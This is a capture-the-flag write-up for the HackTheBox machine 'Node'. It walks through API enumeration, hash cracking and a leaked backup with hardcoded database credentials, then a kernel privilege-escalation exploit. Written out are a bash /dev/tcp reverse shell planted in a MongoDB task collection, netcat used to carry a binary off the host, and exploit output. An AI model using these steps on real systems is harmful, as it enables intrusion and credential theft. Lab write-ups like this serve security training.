Post

HackTheBox Node

Writeup for HackTheBox Node

HackTheBox Node

Machine Synopsis

Node focuses mainly on newer software and poor configurations. The machine starts out seemingly easy, but gets progressively harder as more access is gained. In-depth enumeration is required at several steps to be able to progress further into the machine. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nmap -sC -sV -A -p- 10.10.10.58

PORT     STATE SERVICE            VERSION
22/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace

There is a website open on port 3000.

website

login

I tried some basic SQL injections here but nothing seemed to work.

So let’s check for hidden directories then!

1
2
3
$ gobuster dir -u http://10.10.10.58:3000 -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt       
...
Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.58:3000/694d3110-f3f2-4e8f-9a52-68782669e22b => 200 (Length: 3861). To continue please exclude the status code, the length or use the --wildcard switch

Interestingly, gobuster doesn’t work because non-existing urls are returning status 200.

Let’s try using another tool then.

1
2
3
4
$ feroxbuster -u http://10.10.10.58:3000
...
http://10.10.10.58:3000/uploads => /uploads/
...

There is an interesting /uploads path but it redirects us back to us /.

At this point we can only use our browser’s dev tools and hope that we find something interesting.

devtools

Yay! We found some JavaScript files.

app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var controllers = angular.module('controllers', []);
var app = angular.module('myplace', [ 'ngRoute', 'controllers' ]);

app.config(function ($routeProvider, $locationProvider) {
  $routeProvider.
    when('/', {
      templateUrl: '/partials/home.html',
      controller: 'HomeCtrl'
    }).
    when('/profiles/:username', {
      templateUrl: '/partials/profile.html',
      controller: 'ProfileCtrl'
    }).
    when('/login', {
      templateUrl: '/partials/login.html',
      controller: 'LoginCtrl'
    }).
    when('/admin', {
      templateUrl: '/partials/admin.html',
      controller: 'AdminCtrl'
    }).
    otherwise({
      redirectTo: '/'
    });

    $locationProvider.html5Mode(true);
});

app.js seems to define the different routes for the website.

home.js
1
2
3
4
5
6
7
var controllers = angular.module('controllers');

controllers.controller('HomeCtrl', function ($scope, $http) {
  $http.get('/api/users/latest').then(function (res) {
    $scope.users = res.data;
  });
});

home.js seems to be grabbing the users data from the /api/users/latest endpoint.

login.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var controllers = angular.module('controllers');

controllers.controller('LoginCtrl', function ($scope, $http, $location) {
  $scope.authenticate = function () {
    $scope.hasError = false;

    $http.post('/api/session/authenticate', {
      username: $scope.username,
      password: $scope.password
    }).then(function (res) {
      if (res.data.success) {
        $location.path('/admin');
      }
      else {
        $scope.hasError = true;
        $scope.alertMessage = 'Incorrect credentials were specified';
      }
    }, function (resp) {
      $scope.hasError = true;
      $scope.alertMessage = 'An unexpected error occurred';
    });
  };
});

login.js has some standard login functions with authentication performed.

admin.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var controllers = angular.module('controllers');

controllers.controller('AdminCtrl', function ($scope, $http, $location, $window) {
  $scope.backup = function () {
    $window.open('/api/admin/backup', '_self');
  }

  $http.get('/api/session')
    .then(function (res) {
      if (res.data.authenticated) {
        $scope.user = res.data.user;
      }
      else {
        $location.path('/login');
      }
    });
});

admin.js has 2 endpoints - /api/admin/backup and /api/session.

profile.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var controllers = angular.module('controllers');

controllers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {
  $http.get('/api/users/' + $routeParams.username)
    .then(function (res) {
      $scope.user = res.data;
    }, function (res) {
      $scope.hasError = true;

      if (res.status == 404) {
        $scope.errorMessage = 'This user does not exist';
      }
      else {
        $scope.errorMessage = 'An unexpected error occurred';
      }
    });
});

profile.js seems to grabbing profiles from the /api/users/{username} endpoint.

Let’s check out the /api/users/latest endpoint for any interesting information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ curl -s 10.10.10.58:3000/api/users/latest | jq 
[
  {
    "_id": "59a7368398aa325cc03ee51d",
    "username": "tom",
    "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
    "is_admin": false
  },
  {
    "_id": "59a7368e98aa325cc03ee51e",
    "username": "mark",
    "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
    "is_admin": false
  },
  {
    "_id": "59aa9781cced6f1d1490fce9",
    "username": "rastating",
    "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
    "is_admin": false
  }
]

There seems to be 3 users listed but none of them are admins.

Perhaps the admin profile is hidden somewhere else?

Let’s try going back one directory from api/users/latest to /api/users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ curl -s 10.10.10.58:3000/api/users/ | jq       
[
  {
    "_id": "59a7365b98aa325cc03ee51c",
    "username": "myP14ceAdm1nAcc0uNT",
    "password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
    "is_admin": true
  },
  {
    "_id": "59a7368398aa325cc03ee51d",
    "username": "tom",
    "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
    "is_admin": false
  },
  {
    "_id": "59a7368e98aa325cc03ee51e",
    "username": "mark",
    "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
    "is_admin": false
  },
  {
    "_id": "59aa9781cced6f1d1490fce9",
    "username": "rastating",
    "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
    "is_admin": false
  }
]

Yay! We found a user with admin privileges.

Let’s grab the password field for each user.

1
2
3
4
5
$ curl -s 10.10.10.58:3000/api/users/ | jq -r '.[].password'
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0

-r - raw output

.[] - array/object value iterator

.password - object identifier

Let’s try to crack the hashes using an online tool - CrackStation.

cracked_hashes

So here are the credentials that we gathered so far.

1
2
3
4
myP14ceAdm1nAcc0uNT:manchester
tom:spongebob
mark:snowflake
rastating:-

Exploitation

Let’s try logging in as myP14ceAdm1nAcc0uNT!

admin_login

There seems to be a backup file of some sort.

1
2
3
4
5
$ ls                 
myplace.backup
                                  
$ file myplace.backup 
myplace.backup: ASCII text, with very long lines (65536), with no line terminators

When I viewed the last few lines of the file, it seems to be a base64 encoded file.

So let’s try decoding it!

1
2
3
4
5
6
$ cat myplace.backup | base64 -d > decoded    
                                             
$ file decoded    
decoded: Zip archive data, at least v1.0 to extract, compression method=store

$ mv decoded decoded.zip 

Oh? It’s a zip file! Let’s unzip it.

1
2
3
4
$ unzip decoded.zip
Archive:  decoded.zip
   creating: var/www/myplace/
[decoded.zip] var/www/myplace/package-lock.json password: 

It seems like the file is password protected.

So, lets use john to crack the password!

1
2
3
4
5
6
$ zip2john decoded.zip > hash.txt

$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=PKZIP
...
magicword        (decoded.zip)     
...

The password is magicword and now we can unzip the file.

After unzipping the file, there were a lot of files to check.

Instead, I used grep to find any files that had password in it.

1
2
3
4
5
6
7
8
$ grep -ril "password"
static/vendor/jquery/jquery.min.js
static/vendor/jquery/jquery.js
static/vendor/angular/angular.min.js
static/assets/js/app/controllers/login.js
static/partials/login.html
app.js
...

-r - search recursively

-i - ignore case in patterns and data

-l - print only names of the files with selected lines

app.js was the file that stands out the most among all the files searched.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
$ cat app.js

const express     = require('express');
const session     = require('express-session');
const bodyParser  = require('body-parser');
const crypto      = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const path        = require("path");
const spawn        = require('child_process').spawn;
const app         = express();
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  app.use(session({
    secret: 'the boundless tendency initiates the law.',
    cookie: { maxAge: 3600000 },
    resave: false,
    saveUninitialized: false
  }));

  app.use(function (req, res, next) {
    var agent = req.headers['user-agent'];
    var blacklist = /(DirBuster)|(Postman)|(Mozilla\/4\.0.+Windows NT 5\.1)|(Go\-http\-client)/i;

    if (!blacklist.test(agent)) {
      next();
    }
    else {
      count = Math.floor((Math.random() * 10000) + 1);
      randomString = '';

      var charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
      for (var i = 0; i < count; i++)
        randomString += charset.charAt(Math.floor(Math.random() * charset.length));

      res.set('Content-Type', 'text/plain').status(200).send(
        [
          'QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ',
          'QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ',
          'QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ',
          'QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ',
          'QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____.  -~""??9VWQQQQQQQQQQQQQQQQQQQ',
          'QQQQQQQQQQQQQP\'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ',
          'QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ',
          'QQQQQQQQQQW\' jQQQQWTqwDYauT9mmwwawww?WWWWQQQQQ@TT?TVTT9HQQQQQQw,-4QQQQQQQQQ',
          'QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ',
          'QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ',
          'QQQQQQQP\'.yQQQQQQQQQQQP"       <wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ',
          'QQQQQP\'_a.<aamQQQW!<yF "!` ..  "??$Qa "WQQQWTVP\'    "??\' =QQmWWV?46/ ?QQQQQ',
          'QQQP\'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ',
          'QQ[ j@mQP\'adQQP4ga, -????" <jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"`  -?QzQ7L ]QQQ',
          'QW jQkQ@ jWQQD\'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa   .QP4QQQQfWkl jQQQ',
          'QE ]QkQk $D?`  waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ',
          'QQ,-Qm4Q/-QmQ6 "WWQma/  "??QQQQQQL 4W"- -?$QQQQWP`s,awT$QQQ@  "QW@?$:.yQQQQ',
          'QQm/-4wTQgQWQQ,  ?4WWk 4waac -???$waQQQQQQQQF??\'<mWWWWWQW?^  ` ]6QQ\' yQQQQQ',
          'QQQQw,-?QmWQQQQw  a,    ?QWWQQQw _.  "????9VWaamQWV???"  a j/  ]QQf jQQQQQQ',
          'QQQQQQw,"4QQQQQQm,-$Qa     ???4F jQQQQQwc <aaas _aaaaa 4QW ]E  )WQ`=QQQQQQQ',
          'QQQQQQWQ/ $QQQQQQQa ?H ]Wwa,     ???9WWWh dQWWW,=QWWU?  ?!     )WQ ]QQQQQQQ',
          'QQQQQQQQQc-QWQQQQQW6,  QWQWQQQk <c                             jWQ ]QQQQQQQ',
          'QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ\'.mQQQmaa,.,                . .; QWQ.]QQQQQQQ',
          'QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ',
          'QQQQQQQQQQWWma "9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ',
          'QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,,    --~-- ---  . _ssawmQQQQQQk 3QQQQWQ',
          'QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ',
          'QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV}<wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ',
          'QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ',
          'QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW',
          'QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,.  -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ',
          'QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ',
          'QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ',
          'QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ',
          '',
          '',
          '<!-- ' + randomString + ' -->'
        ].join("\n")
      );
    }
  });

  app.use(express.static(path.join(__dirname, 'static')));
  app.use(bodyParser.json());
  app.use(function(err, req, res, next) {
    if (err) {
      res.status(err.status || 500);
      res.send({
        message:"Uh oh, something went wrong!",
        error: true
      });
    }
    else {
      next();
    }
  });

  app.get('/api/users/?', function (req, res) {
    db.collection('users').find().toArray(function (error, docs) {
      if (error) {
        res.status(500).send({ error: true });
      }
      else if (!docs) {
        res.status(404).send({ not_found: true });
      }
      else {
        res.send(docs);
      }
    });
  });

  app.get('/api/users/latest', function (req, res) {
    db.collection('users').find({ is_admin: false }).toArray(function (error, docs) {
      if (error) {
        res.status(500).send({ error: true });
      }
      else if (!docs) {
        res.status(404).send({ not_found: true });
      }
      else {
        res.send(docs);
      }
    });
  });

  app.get('/api/users/:username', function (req, res) {
    db.collection('users').findOne({ username: req.params.username }, function (error, doc) {
      if (error) {
        res.status(500).send({ error: true });
      }
      else if (!doc) {
        res.status(404).send({ not_found: true });
      }
      else {
        res.send(doc);
      }
    });
  });

  app.get('/api/session', function (req, res) {
    if (req.session.user) {
      res.send({
        authenticated: true,
        user: req.session.user
      });
    }
    else {
      res.send({
        authenticated: false
      });
    }
  });

  app.post('/api/session/authenticate', function (req, res) {
    var failureResult = {
      error: true,
      message: 'Authentication failed'
    };

    if (!req.body.username || !req.body.password) {
      res.send(failureResult);
      return;
    }

    db.collection('users').findOne({ username: req.body.username }, function (error, doc) {
      if (error) {
        res.status(500).send({
          message:"Uh oh, something went wrong!",
          error: true
        });

        return;
      }

      if (!doc) {
        res.send(failureResult);
        return;
      }

      var hash = crypto.createHash('sha256');
      var cipherText = hash.update(req.body.password).digest('hex');

      if (cipherText == doc.password) {
        req.session.user = doc;
        res.send({
          success: true
        });
      }
      else {
        res.send({
          success: false
        })
      }
    });
  });

  app.get('/api/admin/backup', function (req, res) {
    if (req.session.user && req.session.user.is_admin) {
      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
      var backup = '';

      proc.on("exit", function(exitCode) {
        res.header("Content-Type", "text/plain");
        res.header("Content-Disposition", "attachment; filename=myplace.backup");
        res.send(backup);
      });

      proc.stdout.on("data", function(chunk) {
        backup += chunk;
      });

      proc.stdout.on("end", function() {
      });
    }
    else {
      res.send({
        authenticated: false
      });
    }
  });

  app.use(function(req, res, next){
    res.sendFile('app.html', { root: __dirname });
  });

  app.listen(3000, function () {
    console.log('MyPlace app listening on port 3000!')
  });

});

Here, I noticed that mark:5AYRft73VtFpc84k seems to be a possible credential used for ssh.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ssh mark@10.10.10.58                       
...
mark@node:~$ whoami
mark
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
mark@node:~$ uname -a && uname -m && lsb_release -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
x86_64
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.3 LTS
Release:	16.04
Codename:	xenial

Privilege Escalation

Unintended Way

Since we know what version the machine is running on, we can do a simple searchsploit to search for known exploits.

1
2
3
4
$ searchsploit Ubuntu 16.04 Privilege Escalation
...
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation       | linux/local/45010.c
...

From the results, it looks like 45010.c has what we want.

1
$ searchsploit -m 45010

Taking a look at the source code, it seems like we just have to execute the code on the SSH shell to gain root access.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
- Local Machine -
$ gcc 45010.c -o 45010   

- SSH Shell -
mark@node:~$ cd /tmp
mark@node:/tmp$ wget http://10.10.14.3/45010 .

mark@node:/tmp$ chmod +x 45010 

mark@node:/tmp$ ./45010
[.] 
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.] 
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.] 
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff88002ef0b700
[*] Leaking sock struct from ffff880027fb4400
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880000901180
[*] UID from cred structure: 1001, matches the current: 1001
[*] hammering cred structure at ffff880000901180
[*] credentials patched, launching shell...
# whoami
root
# cat /root/root.txt
1722e99ca5f353b362556a62bd5e6be0
# locate user.txt
/home/tom/user.txt
# cat /home/tom/user.txt
e1156acc3574e04b06908ecf76be91b1

Intended Way

Let’s check for any interesting running processes in the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mark@node:~$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...
tom       1218  0.0  5.4 1008056 40992 ?       Ssl  03:13   0:01 /usr/bin/node /var/scheduler/app.js
tom       1220  0.0  5.6 1019880 42868 ?       Ssl  03:13   0:01 /usr/bin/node /var/www/myplace/app.js
root      1223  0.0  0.6  65520  5260 ?        Ss   03:13   0:00 /usr/sbin/sshd -D
mongodb   1224  0.4 11.6 280924 88636 ?        Ssl  03:13   0:07 /usr/bin/mongod --auth --quiet --config /etc/mongod.c
root      1244  0.0  0.0   5224   160 ?        Ss   03:13   0:00 /sbin/iscsid
root      1245  0.0  0.4   5724  3532 ?        S<Ls 03:13   0:00 /sbin/iscsid
root      1313  0.0  0.2  15940  1816 tty1     Ss+  03:13   0:00 /sbin/agetty --noclear tty1 linux
root      1481  0.0  0.0      0     0 ?        S    03:28   0:00 [kworker/0:0]
root      1484  0.0  0.8  95404  6692 ?        Ss   03:36   0:00 sshd: mark [priv]
mark      1486  0.0  0.6  45248  4768 ?        Ss   03:36   0:00 /lib/systemd/systemd --user
mark      1489  0.0  0.3  61572  2300 ?        S    03:36   0:00 (sd-pam)
mark      1496  0.0  0.4  95404  3456 ?        S    03:36   0:00 sshd: mark@pts/0
mark      1497  0.0  0.6  22588  5128 pts/0    Ss   03:36   0:00 -bash
mark      1511  0.0  0.4  37372  3348 pts/0    R+   03:42   0:00 ps aux

It turns out that there are 2 processes initiated by the user tom.

Interestingly, there is another app.js running from the folder scheduler.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
mark@node:~$ cat /var/scheduler/app.js 
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

The script seems to be connecting to a MongoDB, which runs a command from the tasks collection every 30 seconds.

That seems to be a vulnerability that we can exploit so lets try connecting to the database.

1
2
3
4
5
mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> show collections
tasks

Now, lets try inserting a reverse shell command into the tasks collection and open a netcat listener.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
- Mongo DB -
> db.tasks.insert({"cmd":"bash -c 'exec bash -i &>/dev/tcp/10.10.14.6/9999 <&1'"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("6292dff2ead14f78ff847f09"), "cmd" : "bash -c 'exec bash -i &>/dev/tcp/10.10.14.6/9999 <&1'" }

- Local Terminal -
$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.58] 35994
bash: cannot set terminal process group (1218): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
tom@node:/$ whoami
whoami
tom
tom@node:/$ id
id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)

Great, now we are connected to the machine as tom.

Lets search for all SUID binaries owned by root.

1
2
3
4
5
tom@node:/$ find / -type f -user root -perm -4000 2>/dev/null
find / -type f -user root -perm -4000 2>/dev/null
...
/usr/local/bin/backup
...

There seems to be an interesting backup file located at /usr/local/bin/.

1
2
3
4
5
6
7
tom@node:/$ file /usr/local/bin/backup
file /usr/local/bin/backup
/usr/local/bin/backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped
tom@node:/$ cd /usr/local/bin
cd /usr/local/bin
tom@node:/usr/local/bin$ backup
backup

It seems to be an executable but executing the file returned nothing. Lets transfer the file to our local machine for some analysis.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
- Netcat Listener - 
tom@node:/usr/local/bin$ nc 10.10.14.6 1234 < /usr/local/bin/backup
nc 10.10.14.6 1234 < /usr/local/bin/backup
tom@node:/usr/local/bin$ md5sum backup
md5sum backup
f2cd106436c96a80133fcddd06206042  backup

- Local Terminal -
$ nc -nlvp 1234 > backup         
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.58] 52188
                                                                    
$ ls -la
total 5992
drwxr-xr-x  3 root  root     4096 May 29 11:03 .
drwxr-xr-x 20 root  root     4096 May 17 10:03 ..
-rwxr-xr-x  1 root  root    21784 May 17 11:37 45010
-rw-r--r--  1 root  root    13176 May 17 11:36 45010.c
-rw-r--r--  1 root  root    16484 May 29 11:03 backup
-rw-r--r--  1 root  root  2594909 May 17 11:01 decoded.zip
-rw-r--r--  1 root  root     1063 May 17 11:08 hash.txt
-rw-r--r--  1 shiro shiro 3459880 May 17 10:58 myplace.backup
drwxr-xr-x  3 root  root     4096 May 17 11:09 var

$ md5sum backup         
f2cd106436c96a80133fcddd06206042  backup

Now we can analyse the file.

1
2
3
4
5
6
7
8
$ chmod +x backup  

$ ltrace ./backup 
__libc_start_main(0x80489fd, 1, 0xffa58164, 0x80492c0 <unfinished ...>
geteuid()                                                               = 0
setuid(0)                                                               = 0
exit(1 <no return ...>
+++ exited (status 1) +++

It seems that the file exited gracefully without any errors.

Lets analyse the file on IDA then.

ida

Upon opening the file on IDA, I noticed something interesting.

cmp     dword ptr [ebx], 3

The main function seems to be checking if there are 3 arguments.

Lets confirm our hypothesis!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ ./backup 1 2 3                           



             ____________________________________________________
            /                                                    \
           |    _____________________________________________     |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |             Secure Backup v1.0              |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |_____________________________________________|    |
           |                                                      |
            \_____________________________________________________/
                   \_______________________________________/
                _______________________________________________
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'


 [!] Could not open file

Awesome, we were correct!

Lets analyse the program with ltrace!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ltrace ./backup 1 2 3
__libc_start_main(0x80489fd, 4, 0xffb837f4, 0x80492c0 <unfinished ...>
geteuid()                                                               = 0
setuid(0)                                                               = 0
strcmp("1", "-q")                                                       = 1
...
strncpy(0xffea6e28, "2", 100)                                           = 0xffea6e28
strcpy(0xffea6e11, "/")                                                 = 0xffea6e11
strcpy(0xffea6e1d, "/")                                                 = 0xffea6e1d
strcpy(0xffea6da7, "/e")                                                = 0xffea6da7
strcat("/e", "tc")                                                      = "/etc"
strcat("/etc", "/m")                                                    = "/etc/m"
strcat("/etc/m", "yp")                                                  = "/etc/myp"
strcat("/etc/myp", "la")                                                = "/etc/mypla"
strcat("/etc/mypla", "ce")                                              = "/etc/myplace"
strcat("/etc/myplace", "/k")                                            = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey")                                          = "/etc/myplace/key"
strcat("/etc/myplace/key", "s")                                         = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r")                                         = 0
strcpy(0xffea59f8, "Could not open file\n\n")                           = 0xffea59f8
printf(" %s[!]%s %s\n", "\033[33m", "\033[37m", "Could not open file\n\n" [!] Could not open file
) = 37
exit(1 <no return ...>
+++ exited (status 1) +++

From the ltrace information, it seems that the program is trying to read a file from /etc/myplace/keys.

Also, I noticed that the program is trying to obtain -q from the first argument.

1
strcmp("1", "-q") 

Lets check out what’s the content of /etc/myplace/keys.

1
2
3
4
5
tom@node:/usr/local/bin$ cat /etc/myplace/keys
cat /etc/myplace/keys
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
